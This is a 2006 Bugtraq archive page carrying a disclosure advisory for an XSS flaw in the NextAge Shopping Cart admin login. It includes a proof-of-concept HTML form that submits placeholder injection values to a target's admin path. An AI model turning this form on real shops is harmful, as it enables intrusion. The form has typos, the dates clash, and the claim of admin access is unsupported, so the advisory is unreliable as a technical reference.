bugtraq - NextAge Shopping Cart Software XSS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 25 Apr 2006 02:21:21 -0000
From: AminRayden@...oo.com
To: bugtraq@...urityfocus.com
Subject: NextAge Shopping Cart Software XSS


NextAge Shopping Cart Software XSS
-------------------------------------------------------
Aria-security.com advisory
Bug Discovered by R@...N (amin emami)
AminRayden@...oo.com
Date:25/04/2005
original advisory:http://www.aria-security.net/advisory/nextage/nextageshoppingcart.txt
--------------------------------------------------------
Affected software description:
NextAge Shopping Cart Software
Vendor:http://www.nextagecart.com
Vulnerability: Fake form injection <Xss>
---------------------------------------------------------
information About NextAge Shopping Cart Software:
NextAge Cart Software can be used both as a ready out-of-the-box shopping cart solution and as a powerful shopping
 cart engine for a customized web shop. NextAge Cart is an extremely powerful shopping cart
and web site builder application that allows you to customize, manage and effectively market your on-line store. 
---------------------------------------------------------
Disscution:
A remote user can conduct cross-site scripting attacks.The 'panel' script does not properly
validate user-supplied input at the username and password.So remote user can access to admin panel
----------------------------------------------------------
Exploit:
example:http://www.nextagecart.com/demo/myadmin/index.php

<form method="pst" action="http://[target]/[admin_Path]/index.php">
<input type="text" name="txtuserid" class="INPUT" size="30" value="xss injection code">
<br>
<input type="password" name="txtpass" class="INPUT" size="30" value="xss injection code">
<br>
<input <input type="submit" value="submit" class="button">
</form>

--------------
Solution:
N/A

-------------
Greet:A.u.r.a - outlaw - majid - behzad